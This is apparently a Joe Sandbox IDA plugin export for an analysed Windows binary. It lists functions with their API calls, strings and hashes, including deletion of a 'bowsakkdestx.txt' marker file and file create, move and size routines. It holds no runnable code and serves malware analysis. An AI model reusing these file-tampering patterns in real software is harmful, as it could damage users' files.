Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__getptd_noexit__lock_free
String ID: (V^
API String ID: 3054295789-2838317163
Opcode ID: 72c6f3623d997240d25c67d7d18ef29ebae01d05194ec8ee9dc4a1182240f88e
Instruction ID: aaa7ee5631b451225d177fe7ca28f1a76b555ec2380ed5422fcc85799d1c95c7
Opcode Fuzzy Hash: 72c6f3623d997240d25c67d7d18ef29ebae01d05194ec8ee9dc4a1182240f88e
Instruction Fuzzy Hash: 83118631D01711DBDB54AF68584961FB7A0BBC6B20B14431BE964A3691CBB87C61CFC1

Function 0079BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0079BA4A
RegisterClassExW.USER32(00000030), ref: 0079BA73

Strings

LPCWSTRszWindowClass, xrefs: 0079BA65
0, xrefs: 0079BA1D

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: d0fafc08b8dd69f78410bed7f616ad49f7b5e8f29750f3b6c4c2481a65bf84a1
Instruction ID: d839be53fa50e5ea28a863d0f56326ce24ece03ffd91c8a693515266085b4fc9
Opcode Fuzzy Hash: d0fafc08b8dd69f78410bed7f616ad49f7b5e8f29750f3b6c4c2481a65bf84a1
Instruction Fuzzy Hash: CAF0AFB4C052089BEB00DFD0D91979EBBB8BB08708F108159D5147A380D7BA1608CFA9

Function 0078C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0078C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0078C44E
DeleteFileA.KERNEL32(?), ref: 0078C45B

Strings

bowsakkdestx.txt, xrefs: 0078C442

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 2f995b15f4af7fbc88141551e0b41d6630839b6d612d805515f215f9845722da
Instruction ID: 1fcddba926e35a3f65db9bed43471fe4c7c7bd8a44462164da463ab5658795d6
Opcode Fuzzy Hash: 2f995b15f4af7fbc88141551e0b41d6630839b6d612d805515f215f9845722da
Instruction Fuzzy Hash: 05E086B968031CABEB20ABA0DC8AFD57B6CFB05B01F004092BB48D21D1D6B4E584CB51

Function 0078ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0078ED66
_memmove.LIBCMT ref: 0078EE25

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: d4bd0ce01e1b55e23902e697b6db68155cb598ed6cd8ccc1342d666a280a751d
Instruction ID: 205a7dfde668f5b6c198a83f17980c52b59fbaaffcac11dc6a43c54d8fe81a94
Opcode Fuzzy Hash: d4bd0ce01e1b55e23902e697b6db68155cb598ed6cd8ccc1342d666a280a751d
Instruction Fuzzy Hash: 7181F4B0A00206DFEF14EF58D98479EBBF1FF15304F14492DE40597642E7BAAA54CBA1

Function 007A2130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 007A218E
__read_nolock.LIBCMT ref: 007A225E
__filbuf.LIBCMT ref: 007A2281
_memset.LIBCMT ref: 007A22C5

Part of subcall function 007A5208: __getptd_noexit.LIBCMT ref: 007A5208

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction ID: 177137b170afd40ff74abede1e8da70c4ec2652767a4d1cc45ac0cb79b18f1a8
Opcode Fuzzy Hash: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction Fuzzy Hash: F751C431A00209EBDB248FADC88466E77B1BFD3320F248729F835962D2D7789D528B55

Function 007BC677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 007BC6AD
__isleadbyte_l.LIBCMT ref: 007BC6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 007BC709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 007BC73F

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: de812f689472ca5c1e3328c26a43980d7cb09f811a7ef44e8ed76b167d9497c9
Instruction ID: 0ae093554cb4f057b2b0eba742e14734878a7d49faa3a6443ddce995fe6da7ea
Opcode Fuzzy Hash: de812f689472ca5c1e3328c26a43980d7cb09f811a7ef44e8ed76b167d9497c9
Instruction Fuzzy Hash: B231EF30600206EFDB228F35CC48BEA7BA9FF41314F15C569F8248B1A0EB38E850DB90

Function 0078F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0078F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0078F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0078F1A1
CloseHandle.KERNEL32(00000000), ref: 0078F1A8

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: 5eeb9ab3aa75720cdb2114750e2be171dbe75c4c038d6a60d8122b7822452613
Instruction ID: 5f7766438f7659d98eab4c031c917cd0918bd8463ba0dc4067c2a777ed4bee93
Opcode Fuzzy Hash: 5eeb9ab3aa75720cdb2114750e2be171dbe75c4c038d6a60d8122b7822452613
Instruction Fuzzy Hash: 6C310435D40209EBDB14AF68DC4ABAE7B78FF05704F104129F815A71C1E7796A45CBA1

Function 00847094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 008470AB

Part of subcall function 008477A0: ___BuildCatchObjectHelper.LIBCMT ref: 008477D2
Part of subcall function 008477A0: ___AdjustPointer.LIBCMT ref: 008477E9

_UnwindNestedFrames.LIBCMT ref: 008470C2
___FrameUnwindToState.LIBCMT ref: 008470D4
CallCatchBlock.LIBCMT ref: 008470F8

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: b2338dccb5ce6a2bb5b983e5d077cb91d3479ff5b64ff7c0901ceefddd664a12
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: EC01D33240050DBBCF12AF99CC01EDA7BAAFF49754F158014FA18A6121D372E961EBA1

Function 007A53B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 007A5007: __getptd_noexit.LIBCMT ref: 007A5008
Part of subcall function 007A5007: __amsg_exit.LIBCMT ref: 007A5015

__calloc_crt.LIBCMT ref: 007A5A01

Part of subcall function 007A8C96: __calloc_impl.LIBCMT ref: 007A8CA5

__lock.LIBCMT ref: 007A5A37
___addlocaleref.LIBCMT ref: 007A5A43
__lock.LIBCMT ref: 007A5A57

Part of subcall function 007A5208: __getptd_noexit.LIBCMT ref: 007A5208

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 23957c01b168156c876184bdd06997982a4f82de223c4c961971afa74363095b
Instruction ID: 4c24c7092819077fa8a9b53260167ed3ca2f4881c5c1ef8af7c93e50ce97682d
Opcode Fuzzy Hash: 23957c01b168156c876184bdd06997982a4f82de223c4c961971afa74363095b
Instruction Fuzzy Hash: 6F014071A45700DBD760FBA8844AB1E7BE0AFC3721F20834AF4659B2C2DE7D5D408B62

Function 007C09B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 007C09DD

Part of subcall function 007C10FD: __fltout2.LIBCMT ref: 007C1126

__cftog_l.LIBCMT ref: 007C0A03
__cftoe_l.LIBCMT ref: 007C0A35

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 9dd692f3b04600f5301a9e3a6560511bfe21fe76a632f10007426148637f9b4e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 28014B3240024EFBCF165F94CC46EEE3F62BB29354B58841DFA1958031C63AC9B2ABC1

Function 007927A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 007927B9
_malloc.LIBCMT ref: 007927C3

Part of subcall function 007A0C62: __FF_MSGBANNER.LIBCMT ref: 007A0C79
Part of subcall function 007A0C62: __NMSG_WRITE.LIBCMT ref: 007A0C80
Part of subcall function 007A0C62: RtlAllocateHeap.NTDLL(005C0000,00000000,00000001,?,?,?,?,007A3B69,?), ref: 007A0CA5

_memset.LIBCMT ref: 007927CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 007927E4

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 789ae0f1e0fa0b27006e5ec583ab27d104f415a1b2fc2ddca374d17fc55a8fc0
Instruction ID: 5ec79d632befa73e60aa89600fd8363882772bdbf04728693f6319b874c9a092
Opcode Fuzzy Hash: 789ae0f1e0fa0b27006e5ec583ab27d104f415a1b2fc2ddca374d17fc55a8fc0
Instruction Fuzzy Hash: 88F02739702204BBE72057659C4AFBBBA9DEBC7760F100225B604E32C2E9912D0152F1

Function 00792800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00792806
_malloc.LIBCMT ref: 00792814

Part of subcall function 007A0C62: __FF_MSGBANNER.LIBCMT ref: 007A0C79
Part of subcall function 007A0C62: __NMSG_WRITE.LIBCMT ref: 007A0C80
Part of subcall function 007A0C62: RtlAllocateHeap.NTDLL(005C0000,00000000,00000001,?,?,?,?,007A3B69,?), ref: 007A0CA5

_memset.LIBCMT ref: 0079281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00792832

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 931ba93e533537afb6186293a103deaca6c0bd5234ea4cbe5b30744feab7edfb
Instruction ID: 6b473358566314ac752aeb5c8eebb81befd41a0e5c26316596fb5e303995e2cd
Opcode Fuzzy Hash: 931ba93e533537afb6186293a103deaca6c0bd5234ea4cbe5b30744feab7edfb
Instruction Fuzzy Hash: 48E0C27A302524BBF51027596C8EFBB6A1CDBC77B6F100212F611E22E3DAA81C02C1F1

Function 00794920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 007949F1

Strings

string too long, xrefs: 00794C33
invalid string position, xrefs: 00794C3D

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: b040385a13fc778a0f0885f952901fdc1d022e569fbd603f9ba490450cd0fb04
Instruction ID: 5b8ae14dcba48ea9a8f25cb97ab2659529786ac2de5d4debc5ad0233af9960a5
Opcode Fuzzy Hash: b040385a13fc778a0f0885f952901fdc1d022e569fbd603f9ba490450cd0fb04
Instruction Fuzzy Hash: 45C12B71700209DBCF24CF58E9D4DAAB3B6FF84300B20856DE8468B655EB38ED56CB95

Function 00797D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00797E2E

Strings

string too long, xrefs: 00797EE9
invalid string position, xrefs: 00797EDF

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 2b38243e9173533a7c3ac47ea9e02a0af4052c348a7673dff5c8603115a550c8
Instruction ID: e4136b671c538b5281148908d294d6db3e013a4f72d07f8c119a22cad0cfd9aa
Opcode Fuzzy Hash: 2b38243e9173533a7c3ac47ea9e02a0af4052c348a7673dff5c8603115a550c8
Instruction Fuzzy Hash: 1A517C31728209DBCF28DE18E8848AEB7B6FF84700B20456DE8558B351E739ED55CBE0

Function 0079B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0079B1BA

Part of subcall function 007911C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0079120F
Part of subcall function 007911C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00791228
Part of subcall function 007911C0: CloseHandle.KERNEL32(00000000), ref: 0079123D
Part of subcall function 007911C0: MoveFileW.KERNEL32(?,?), ref: 00791277

Part of subcall function 0079BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0079BA4A
Part of subcall function 0079BA10: RegisterClassExW.USER32(00000030), ref: 0079BA73

Part of subcall function 0079BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0079BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0079B4B3
TranslateMessage.USER32(?), ref: 0079B4CD
DispatchMessageW.USER32(?), ref: 0079B4D7

Strings

%username%, xrefs: 0079B283
I:\5d2860c89d774.jpg, xrefs: 0079B32F

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 658403e582847b5b9a2b8a934d6abef7d825ad3d866b69cae214292056be27fc
Instruction ID: 573a5b1306c5a2a932152ab7d9a0271325c91152a4b23a0d4a27248386593bb1
Opcode Fuzzy Hash: 658403e582847b5b9a2b8a934d6abef7d825ad3d866b69cae214292056be27fc
Instruction Fuzzy Hash: 63511571514245DBCF18FB70E85AEEEB7A8BF95344F80482DF54643162EF38A609CB92

Function 00793C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00793CA0

Part of subcall function 007A3B4C: _malloc.LIBCMT ref: 007A3B64

_memset.LIBCMT ref: 00793C83

Strings

vector<T> too long, xrefs: 00793C96

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

